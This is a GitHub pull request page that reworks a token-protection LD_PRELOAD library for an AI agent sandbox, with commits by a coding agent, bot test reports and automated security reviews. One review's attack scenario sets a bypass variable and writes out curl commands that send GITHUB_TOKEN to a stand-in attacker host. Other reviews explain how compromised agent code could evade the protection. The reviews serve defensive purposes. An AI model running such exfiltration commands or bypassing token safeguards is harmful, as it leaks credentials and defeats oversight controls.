-
Notifications
You must be signed in to change notification settings - Fork 6
feat: add skip-unset mode to one-shot token library with value preview (enabled by default) #640
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Conversation
- Add skip_unset flag controlled by AWF_ONE_SHOT_SKIP_UNSET env var - When enabled, tokens are logged but not cleared after access - Allow multiple reads of tokens in skip-unset mode - Update README with skip-unset mode documentation - Add tests for skip-unset mode in both container and chroot modes Co-authored-by: lpcox <15877973+lpcox@users.noreply.github.com>
- Built one-shot-token library successfully - Verified normal mode clears tokens after first access - Verified skip-unset mode preserves tokens and logs accesses - Unit tests pass (736/737) - Lint passes with no new errors Co-authored-by: lpcox <15877973+lpcox@users.noreply.github.com>
- Call strdup() on result in both normal and skip-unset modes - Prevents potential use-after-free if environment is modified - Applies to both first access and subsequent accesses in skip-unset mode - Addresses code review feedback about pointer safety Co-authored-by: lpcox <15877973+lpcox@users.noreply.github.com>
|
💫 TO BE CONTINUED... Smoke Claude failed! Our hero faces unexpected challenges... |
|
Chroot tests failed Smoke Chroot failed - See logs for details. |
|
📰 DEVELOPING STORY: Smoke Copilot reports failed. Our correspondents are investigating the incident... |
✅ Coverage Check PassedOverall Coverage
Coverage comparison generated by |
Security Review: Security Boundary Weakening DetectedThis PR introduces a mechanism that disables the core security protection of the one-shot token library. I've identified a critical security concern that needs to be addressed before merging. 🔴 Critical Security Issue: Environment-Variable-Controlled Security BypassFile: Affected Lines: 63, 105-109, 254-267, 268-278, 330-351 Issue: The new Code Location (lines 105-109):/* Check if we should skip unsetting (for debugging/testing) */
const char *skip_unset_env = real_getenv("AWF_ONE_SHOT_SKIP_UNSET");
if (skip_unset_env != NULL && strcmp(skip_unset_env, "1") == 0) {
skip_unset = 1;
fprintf(stderr, "[one-shot-token] WARNING: AWF_ONE_SHOT_SKIP_UNSET=1 - tokens will NOT be unset after access\n");
}Security Bypass (lines 254-267):if (skip_unset) {
/* Skip unset mode - just log the access, don't clear */
fprintf(stderr, "[one-shot-token] Token %s accessed (skip_unset=1, not cleared)\n", name);
} else {
/* Unset the variable so it can't be accessed again */
unsetenv(name);
fprintf(stderr, "[one-shot-token] Token %s accessed and cleared\n", name);
}Security ImpactThe one-shot token library exists to prevent token exfiltration by limiting access to a single read. This PR undermines that protection:
Attack Scenario# Malicious code in AI agent sets bypass before accessing tokens
export AWF_ONE_SHOT_SKIP_UNSET=1
# Token now accessible multiple times - exfiltration no longer limited
curl -X POST (attacker.com/redacted) -d "token=$(printenv GITHUB_TOKEN)"
sleep 60
curl -X POST (attacker.com/redacted) -d "token=$(printenv GITHUB_TOKEN)" # Still works!Without this PR: The second Why This is a Security Boundary WeakeningThe one-shot token library establishes a security boundary: tokens are accessible exactly once. This PR:
This converts a security control into an opt-in suggestion. Suggested ActionsOption 1: Reject the bypass mechanism (Recommended)
Option 2: Add technical enforcement (If bypass is absolutely necessary)
Option 3: Restrict to non-production environments only
RecommendationDo not merge until the security implications are addressed. The current implementation allows malicious code to trivially bypass token protection, which defeats the purpose of the one-shot token library. If this feature is needed for legitimate debugging, implement Option 2 or 3 to ensure it cannot be abused by compromised agents.
|
|
@copilot please skip variable unsetting by setting AWF_ONE_SHOT_SKIP_UNSET=1 |
Set AWF_ONE_SHOT_SKIP_UNSET=1 in entrypoint.sh to skip variable unsetting while still logging token accesses. This applies to both container mode and chroot mode. Co-authored-by: lpcox <15877973+lpcox@users.noreply.github.com>
|
🎬 THE END — Smoke Claude MISSION: ACCOMPLISHED! The hero saves the day! ✨ |
|
Chroot tests passed! Smoke Chroot - All security and functionality tests succeeded. |
|
📰 VERDICT: Smoke Copilot has concluded. All systems operational. This is a developing story. 🎤 |
🔒 Security Review: Critical Security ConcernThis PR introduces a critical security issue by disabling the one-shot token protection by default. Issue: Security Protection Disabled by DefaultThe PR enables Evidence: File: - LD_PRELOAD_CMD="export LD_PRELOAD=${ONE_SHOT_TOKEN_LIB};"
+ LD_PRELOAD_CMD="export AWF_ONE_SHOT_SKIP_UNSET=1; export LD_PRELOAD=${ONE_SHOT_TOKEN_LIB};"File: + # Skip unsetting tokens (for debugging/testing - logs accesses but doesn't clear them)
+ export AWF_ONE_SHOT_SKIP_UNSET=1Security ImpactWith this change:
Attack scenarios enabled:
Why This Violates Security Design
Recommended FixRemove the default enablement of skip-unset mode: # containers/agent/entrypoint.sh line 389
- LD_PRELOAD_CMD="export AWF_ONE_SHOT_SKIP_UNSET=1; export LD_PRELOAD=${ONE_SHOT_TOKEN_LIB};"
+ LD_PRELOAD_CMD="export LD_PRELOAD=${ONE_SHOT_TOKEN_LIB};"
# containers/agent/entrypoint.sh lines 410-411
- # Skip unsetting tokens (for debugging/testing - logs accesses but doesn't clear them)
- export AWF_ONE_SHOT_SKIP_UNSET=1
+ # One-shot token protection enabled (prevents multiple token reads)
+ # To disable for debugging: export AWF_ONE_SHOT_SKIP_UNSET=1Keep the feature implementation (the C code and documentation) for opt-in debugging use, but do not enable it by default. SummaryThe implementation of skip-unset mode as an opt-in debugging feature is acceptable. However, enabling it by default fundamentally weakens the security model and should be reverted. Security protections must be enabled by default.
|
Build Test: Rust - FAILED ❌Error: Rust toolchain not available in execution environment.
Overall: FAIL Error DetailsThe Required action: Install Rust toolchain or configure workflow to use a Rust-enabled environment.
|
Build Test: Java - ResultsStatus: FAILED ❌ Both Java projects failed to compile due to network connectivity issues with Maven Central repository.
Overall: FAIL Error DetailsBoth projects encountered the same error when attempting to download Maven dependencies: Root Cause: The firewall configuration is blocking or incorrectly proxying HTTPS connections to Required Action: Add
|
Smoke Test Results - Claude EngineLast 2 Merged PRs:
Test Results:
Overall Status: PASS ✅
|
Build Test: Bun ✅All Bun build tests passed successfully!
Overall: PASS ✅
|
|
🎬 THE END — Smoke Claude MISSION: ACCOMPLISHED! The hero saves the day! ✨ |
|
📰 VERDICT: Smoke Copilot has concluded. All systems operational. This is a developing story. 🎤 |
🔒 Security Review: Critical Token Protection WeakeningThis PR fundamentally changes the security model of the one-shot token library in a way that significantly weakens token protection. I recommend reconsidering this approach. Summary of Security ImpactThe PR changes token protection from single-use to unlimited in-process reuse. While Detailed AnalysisBefore (Original Security Model)
After (This PR's Model)
Code EvidenceFile: } else {
/* Already accessed - return cached value */
result = token_cache[token_idx]; // ← SECURITY CONCERN
}Previously this was: } else {
/* Already accessed - return NULL */
result = NULL; // ← Prevented token reuse
}Attack Scenario Enabled
This is exactly the threat model the one-shot library was designed to prevent (per the original README: "protects against malicious code that might attempt to exfiltrate tokens after the legitimate application has already consumed them"). Documentation Changes Confirm DowngradeOriginal protection statement:
New statement:
Original threat model:
New threat model:
The security guarantee has been fundamentally weakened from "prevent token reuse" to "only clear /proc/self/environ". RecommendationOption 1 (Preferred): Revert to single-use model
Option 2: Document the security trade-off
Option 3: Hybrid approach
Files Affected
This is a security architecture decision that should be carefully evaluated against the firewall's threat model. The original single-use design provided stronger protection against in-process token exfiltration.
|
Deno Build Test Results
Overall: ✅ PASS All Deno tests completed successfully.
|
🦀 Rust Build Test Results❌ FAILED: Rust toolchain not available
Overall: ❌ FAIL Error DetailsThe test environment does not have the Rust toolchain (
Recommendation: Add this step to the workflow before running build-test-rust: - name: Install Rust
uses: actions-rs/toolchain@v1
with:
toolchain: stable
profile: minimal
|
|
Smoke Test Results: PASS ✅ GitHub MCP: #612, #610 All tests passed.
|
Build Test: Java - FAILED ❌Both Java projects failed to compile due to firewall blocking Maven Central repository.
Overall: FAIL Error DetailsError: Required ActionThe firewall allowlist must include
|
Node.js Build Test Results
Overall: PASS ✅ All three Node.js projects successfully installed dependencies and passed their test suites.
|
Go Build Test Results
Overall: PASS ✅ All Go projects compiled and tested successfully.
|
Bun Build Test Results
Overall: PASS ✅ All Bun tests completed successfully.
|
C++ Build Test Results
Overall: PASS ✅ All C++ projects built successfully.
|
Smoke Test ResultsLast 2 Merged PRs:
Test Results:
Overall Status: PASS cc:
|
Chroot Version Comparison Test Results
Overall Status: FAILED (not all runtimes match) The chroot environment successfully accessed host binaries for Go, but Python and Node.js versions differ from the host. This indicates the chroot is using container-installed runtimes instead of host binaries for these tools.
|
|
@Mossaka problem was that unsetting variables prevented repeat accesses, even by the same process. library now caches value on first call, and then unsets. subsequent calls in the original process get cached value but /proc/self/environ is cleared and any process created via fork/exec will lose the in-memory cached value, e.g., when the agent tries to run bash commands. log output from smoke claude run is here |
…w (enabled by default) (#640) * Initial plan * feat: add AWF_ONE_SHOT_SKIP_UNSET flag to skip clearing tokens - Add skip_unset flag controlled by AWF_ONE_SHOT_SKIP_UNSET env var - When enabled, tokens are logged but not cleared after access - Allow multiple reads of tokens in skip-unset mode - Update README with skip-unset mode documentation - Add tests for skip-unset mode in both container and chroot modes Co-authored-by: lpcox <15877973+lpcox@users.noreply.github.com> * test: verify skip-unset functionality works correctly - Built one-shot-token library successfully - Verified normal mode clears tokens after first access - Verified skip-unset mode preserves tokens and logs accesses - Unit tests pass (736/737) - Lint passes with no new errors Co-authored-by: lpcox <15877973+lpcox@users.noreply.github.com> * fix: always strdup result in skip-unset mode for safety - Call strdup() on result in both normal and skip-unset modes - Prevents potential use-after-free if environment is modified - Applies to both first access and subsequent accesses in skip-unset mode - Addresses code review feedback about pointer safety Co-authored-by: lpcox <15877973+lpcox@users.noreply.github.com> * feat: enable skip-unset mode by default Set AWF_ONE_SHOT_SKIP_UNSET=1 in entrypoint.sh to skip variable unsetting while still logging token accesses. This applies to both container mode and chroot mode. Co-authored-by: lpcox <15877973+lpcox@users.noreply.github.com> * feat: add token value preview to log messages Show first 4 characters of token value plus "..." in log messages to provide debugging context while protecting sensitive data. Updates both getenv and secure_getenv interceptors. Co-authored-by: lpcox <15877973+lpcox@users.noreply.github.com> * feat: replace skip-unset with in-memory caching strategy Cache token values in memory on first access, then unset from environment. Subsequent getenv() calls return the cached value, allowing programs to read tokens multiple times while /proc/self/environ is cleared. Remove AWF_ONE_SHOT_SKIP_UNSET - caching makes it unnecessary. Co-authored-by: lpcox <15877973+lpcox@users.noreply.github.com> --------- Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com> Co-authored-by: lpcox <15877973+lpcox@users.noreply.github.com>
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Pull request overview
This PR updates the agent’s LD_PRELOAD “one-shot token” library from single-read behavior to an in-process caching model that unsets protected environment variables (to reduce exposure via /proc/*/environ) while still allowing legitimate applications to read tokens multiple times.
Changes:
- Update one-shot-token library behavior to cache token values in-memory and
unsetenv()them after first read; subsequent reads return the cached value. - Refresh integration tests and documentation to reflect caching + environment cleanup behavior.
- Update entrypoint comments to describe the new behavior.
Reviewed changes
Copilot reviewed 4 out of 4 changed files in this pull request and generated 6 comments.
| File | Description |
|---|---|
tests/integration/one-shot-tokens.test.ts |
Updates expected behavior for repeated reads and adds a (currently weak) environ-clearing test. |
containers/agent/one-shot-token/one-shot-token.c |
Implements token value caching, adds value-preview logging, and adjusts getenv/secure_getenv behavior. |
containers/agent/one-shot-token/README.md |
Documents the caching model and updated threat model/limitations. |
containers/agent/entrypoint.sh |
Updates comments describing how token protection works when enabling LD_PRELOAD. |
Comments suppressed due to low confidence (1)
containers/agent/one-shot-token/one-shot-token.c:285
- Logging a token value preview (even just the first 4 chars) to stderr increases the risk of secret exposure in CI logs and diagnostics. Consider removing the value preview, gating it behind an explicit opt-in debug flag, or ensuring it is always redacted by the log collection pipeline.
fprintf(stderr, "[one-shot-token] Token %s accessed and cached (value: %s)\n",
name, format_token_value(token_cache[token_idx]));
result = token_cache[token_idx];
💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.
| fprintf(stderr, "[one-shot-token] Token %s accessed and cached (value: %s) (via secure_getenv)\n", | ||
| name, format_token_value(token_cache[token_idx])); |
Copilot
AI
Feb 10, 2026
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Same concern as above: this secure_getenv log line includes a token value preview on stderr, which can leak sensitive info into logs. Recommend removing or guarding this preview behind an explicit opt-in debug control.
This issue also appears on line 282 of the same file.
| fprintf(stderr, "[one-shot-token] Token %s accessed and cached (value: %s) (via secure_getenv)\n", | |
| name, format_token_value(token_cache[token_idx])); | |
| fprintf(stderr, "[one-shot-token] Token %s accessed and cached (via secure_getenv)\n", | |
| name); |
| test('should clear token from /proc/self/environ while caching for getenv()', async () => { | ||
| // Verify that the token is removed from the environ array | ||
| // but still accessible via getenv() (from cache) | ||
| const pythonScript = ` | ||
| import os | ||
| import ctypes | ||
|
|
||
| # First access caches and clears from environ | ||
| first = os.getenv('GITHUB_TOKEN', '') | ||
|
|
||
| # Check if token is still in os.environ (reflects C environ array) | ||
| # After unsetenv, it should be gone from the environ array | ||
| in_environ = 'GITHUB_TOKEN' in os.environ | ||
|
|
||
| # But getenv() should still return cached value | ||
| second = os.getenv('GITHUB_TOKEN', '') | ||
|
|
||
| print(f"First getenv: [{first}]") | ||
| print(f"In os.environ: [{in_environ}]") | ||
| print(f"Second getenv: [{second}]") | ||
| `.trim(); | ||
|
|
||
| const result = await runner.runWithSudo( | ||
| `python3 -c '${pythonScript}'`, | ||
| { | ||
| allowDomains: ['localhost'], | ||
| logLevel: 'debug', | ||
| timeout: 60000, | ||
| buildLocal: true, | ||
| env: { | ||
| GITHUB_TOKEN: 'ghp_environ_check', | ||
| }, | ||
| } | ||
| ); | ||
|
|
||
| expect(result).toSucceed(); | ||
| expect(result.stdout).toContain('First getenv: [ghp_environ_check]'); | ||
| // Note: Python's os.environ may cache at startup, so this checks the | ||
| // behavior of getenv() returning cached values | ||
| expect(result.stdout).toContain('Second getenv: [ghp_environ_check]'); |
Copilot
AI
Feb 10, 2026
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This test is named as if it verifies clearing tokens from /proc/self/environ, but it never asserts that the token was removed (and os.environ may not reflect external unsetenv() calls). Consider reading /proc/self/environ directly after the first getenv() and asserting that "GITHUB_TOKEN=" (or the token value) is absent, and either remove the unused ctypes import or use it for a stronger environ check.
|
|
||
| - **Token reuse by injected code**: If malicious code runs after the legitimate application has read its token, it cannot retrieve the token again | ||
| - **Token leakage via environment inspection**: Tools like `printenv` or reading `/proc/self/environ` will not show the token after first access | ||
| - **Token leakage via environment inspection**: `/proc/self/environ` and tools like `printenv` (in the same process) will not show the token after first access — the environment variable is unset |
Copilot
AI
Feb 10, 2026
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
The phrase "printenv (in the same process)" is misleading: printenv runs as a separate process. If you want to describe the effect, it’s more accurate to say child processes spawned after the token is unset won’t inherit it, and /proc//environ for the current process won’t include it.
| - **Token leakage via environment inspection**: `/proc/self/environ` and tools like `printenv` (in the same process) will not show the token after first access — the environment variable is unset | |
| - **Token leakage via environment inspection**: After the first access, the environment variable is unset, so `/proc/self/environ` no longer contains the token and child processes spawned afterward (including those running tools like `printenv`) do not inherit it |
| The one-shot token library is an `LD_PRELOAD` shared library that provides **cached access** to sensitive environment variables containing GitHub, OpenAI, Anthropic/Claude, and Codex API tokens. When a process reads a protected token via `getenv()`, the library caches the value in memory and immediately unsets the environment variable. Subsequent `getenv()` calls return the cached value, allowing the process to read tokens multiple times while `/proc/self/environ` is cleared. | ||
|
|
||
| This protects against malicious code that might attempt to exfiltrate tokens after the legitimate application has already consumed them. | ||
| This protects against exfiltration via `/proc/self/environ` inspection while allowing legitimate multi-read access patterns that programs like the Copilot CLI require. |
Copilot
AI
Feb 10, 2026
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
PR title/description mention "skip-unset mode", but the documented behavior here (and in the code) is in-memory caching + unsetenv. Consider updating the PR title/description to match the implemented caching approach to avoid confusion during release notes and audits.
| int token_idx = get_token_index(name); | ||
|
|
||
| /* Not a sensitive token - pass through to real secure_getenv */ | ||
| if (token_idx < 0) { | ||
| return real_secure_getenv(name); | ||
| } |
Copilot
AI
Feb 10, 2026
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
secure_getenv() calls get_token_index() before ensuring the token list is initialized. If secure_getenv is the first intercepted call in a process, num_tokens will still be 0 and sensitive tokens will be treated as non-sensitive (no unset/caching). Also, get_token_index() here is done without holding token_mutex, so it can race with init_token_list() running in another thread.
See below for a potential fix:
/* Ensure token list is initialized and synchronized before lookup */
pthread_mutex_lock(&token_mutex);
init_token_list();
int token_idx = get_token_index(name);
/* Not a sensitive token - pass through to real secure_getenv */
if (token_idx < 0) {
pthread_mutex_unlock(&token_mutex);
return real_secure_getenv(name);
}
/* Sensitive token - handle cached access with secure_getenv semantics */
| if (result != NULL) { | ||
| /* Make a copy since unsetenv will invalidate the pointer */ | ||
| /* Cache the value so subsequent reads succeed after unsetenv */ | ||
| /* Note: This memory is intentionally never freed - it must persist | ||
| * for the lifetime of the caller's use of the returned pointer */ | ||
| result = strdup(result); | ||
| * for the lifetime of the process */ | ||
| token_cache[token_idx] = strdup(result); | ||
|
|
||
| /* Unset the variable so it can't be accessed again */ | ||
| /* Unset the variable from the environment so /proc/self/environ is cleared */ | ||
| unsetenv(name); | ||
|
|
||
| fprintf(stderr, "[one-shot-token] Token %s accessed and cleared\n", name); | ||
| fprintf(stderr, "[one-shot-token] Token %s accessed and cached (value: %s)\n", | ||
| name, format_token_value(token_cache[token_idx])); | ||
|
|
||
| result = token_cache[token_idx]; | ||
| } |
Copilot
AI
Feb 10, 2026
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
If strdup() fails, token_cache[token_idx] becomes NULL but the code still calls unsetenv() and then returns NULL to the caller even though the real getenv() succeeded. Consider handling OOM by skipping unsetenv/logging when strdup fails (or aborting consistently) to avoid unexpectedly breaking token reads.
* fix: restrict host gateway iptables bypass to allowed ports only The --enable-host-access flag added an iptables ACCEPT rule for host.docker.internal with no port restriction, allowing agent code to reach ANY service on the host (databases, admin panels, etc.) and bypassing the dangerous-ports blocklist entirely. Changes: - Restrict host gateway FILTER ACCEPT to ports 80, 443, and any ports from --allow-host-ports (was: all ports) - Apply same port restriction to network gateway bypass - Add IPv4 format validation for dynamically resolved IPs before using them in iptables rules - Mount chroot-hosts as read-only (:ro) since host.docker.internal is pre-injected by docker-manager.ts before mounting The NAT RETURN rule (which prevents DNAT to Squid) is unchanged, so MCP traffic still bypasses Squid correctly. Non-allowed port traffic hits the final DROP rule in the FILTER chain. Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com> * feat: add Maven proxy setup to Java workflow and Java/Maven docs Move Maven proxy configuration to the workflow markdown (settings.xml created at runtime using SQUID_PROXY_HOST/SQUID_PROXY_PORT env vars) rather than generating it in docker-manager.ts. Add Java/Maven/Gradle troubleshooting section to docs and JAVA_TOOL_OPTIONS documentation to CLAUDE.md. Recompile build-test-java workflow. Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com> * chore: regenerate workflow lock files after merging main Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com> * feat: add skip-unset mode to one-shot token library with value preview (enabled by default) (#640) * Initial plan * feat: add AWF_ONE_SHOT_SKIP_UNSET flag to skip clearing tokens - Add skip_unset flag controlled by AWF_ONE_SHOT_SKIP_UNSET env var - When enabled, tokens are logged but not cleared after access - Allow multiple reads of tokens in skip-unset mode - Update README with skip-unset mode documentation - Add tests for skip-unset mode in both container and chroot modes Co-authored-by: lpcox <15877973+lpcox@users.noreply.github.com> * test: verify skip-unset functionality works correctly - Built one-shot-token library successfully - Verified normal mode clears tokens after first access - Verified skip-unset mode preserves tokens and logs accesses - Unit tests pass (736/737) - Lint passes with no new errors Co-authored-by: lpcox <15877973+lpcox@users.noreply.github.com> * fix: always strdup result in skip-unset mode for safety - Call strdup() on result in both normal and skip-unset modes - Prevents potential use-after-free if environment is modified - Applies to both first access and subsequent accesses in skip-unset mode - Addresses code review feedback about pointer safety Co-authored-by: lpcox <15877973+lpcox@users.noreply.github.com> * feat: enable skip-unset mode by default Set AWF_ONE_SHOT_SKIP_UNSET=1 in entrypoint.sh to skip variable unsetting while still logging token accesses. This applies to both container mode and chroot mode. Co-authored-by: lpcox <15877973+lpcox@users.noreply.github.com> * feat: add token value preview to log messages Show first 4 characters of token value plus "..." in log messages to provide debugging context while protecting sensitive data. Updates both getenv and secure_getenv interceptors. Co-authored-by: lpcox <15877973+lpcox@users.noreply.github.com> * feat: replace skip-unset with in-memory caching strategy Cache token values in memory on first access, then unset from environment. Subsequent getenv() calls return the cached value, allowing programs to read tokens multiple times while /proc/self/environ is cleared. Remove AWF_ONE_SHOT_SKIP_UNSET - caching makes it unnecessary. Co-authored-by: lpcox <15877973+lpcox@users.noreply.github.com> --------- Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com> Co-authored-by: lpcox <15877973+lpcox@users.noreply.github.com> * fix: use mkdtempSync for chroot-hosts to address CodeQL CWE-377 Build complete chroot-hosts content in memory, then write atomically to a securely-created temp directory (fs.mkdtempSync). This satisfies CodeQL's js/insecure-temporary-file rule by using the recognized sanitizer for temp file creation. Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com> * chore: recompile build-test-java workflow after merge Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com> --------- Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com> Co-authored-by: Copilot <198982749+Copilot@users.noreply.github.com> Co-authored-by: lpcox <15877973+lpcox@users.noreply.github.com>
- Add --allow-full-filesystem-access flag to docs/usage.md - Add link to docs/selective-mounting.md in README.md - Update AGENTS.md container architecture to reflect selective mounting default - Update docs/architecture.md with security features: - Selective mounting and credential protection - One-shot token library (LD_PRELOAD) - MCP logs directory protection Changes sync documentation with code from PRs: - #681 (selective mounting) - #706, #709, #710 (mcp-logs hiding) - #604, #640 (one-shot token library)
token_cache[]array)getenv(): cache value,unsetenv()to clear/proc/self/environ, return cached valuegetenv(): return cached value directlyAWF_ONE_SHOT_SKIP_UNSETflag and all skip-unset logicAWF_ONE_SHOT_SKIP_UNSET=1from entrypoint.sh (both container and chroot modes)-Walland no warningsgetenv()returns value,environarray is clearedOriginal prompt
💬 We'd love your input! Share your thoughts on Copilot coding agent in our 2 minute survey.